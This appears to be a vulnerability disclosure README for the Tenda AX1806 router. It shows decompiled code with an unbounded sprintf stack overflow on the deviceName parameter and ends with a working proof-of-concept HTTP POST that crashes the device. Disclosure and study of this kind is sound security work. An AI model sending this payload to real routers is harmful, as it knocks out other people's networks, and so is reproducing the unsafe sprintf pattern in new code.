c0rn-0x2d1 Update README_zh.md ... on Feb 9 History

..

image	10 months ago
README.md	10 months ago
README_zh.md	10 months ago

README.md

Affect device: Tenda Router AX1806 v1.0.0.1(https://www.tenda.com.cn/download/detail-3306.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/saveParentControlInfo` page which influences the lastest version of Tenda Router AX1806 v1.0.0.1:
https://www.tenda.com.cn/download/detail-3306.html

There is a stack overflow vulnerability in the `saveParentControlInfo` function.

The `v3` variable is obtained directly from the http request parameter `deviceName`.

Then this function calls the setdevicename function.

```c
memset(s, 0, sizeof(s));
v19 = 0;
memset(v21, 0, 0x100u);
v2 = webgetvar(a1, (int)"deviceId", (int)&byte_1C2CF0);
v3 = webgetvar(a1, (int)"deviceName", (int)&byte_1C2CF0);
if ( *v3 )
  setdevicename(v3, v2);
result = sub_60BE0(a1);
```

In the setdevicename function, this function uses `sprintf(... , "%s" , ...)` to copy the string pointed by `a1` into a stack buffer pointed by `v9`.

```c
    sprintf(s, "client.devicename%s", v7);
    sprintf(v9, "%s;1", a1);
    SetValue(s, v9);
    snprintf(v10, 0x100u, "op=%d,string_info=%s", 20, v7);
    send_msg_to_netctrl(4, v10);
    snprintf(v10, 0x100u, "op=%d", 6);
    send_msg_to_netctrl(26, v10);
    result = 0;
  }
```

So by POSTing the page `/goform/saveParentControlInfo` with long `deviceName`, the attacker can easily perform a Denial of Service(DoS).

POC

Poc of Denial of Service(DoS):

```
POST /goform/saveParentControlInfo HTTP/1.1
Host: 192.168.2.1
Connection: close
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.2.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 65554

deviceName=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```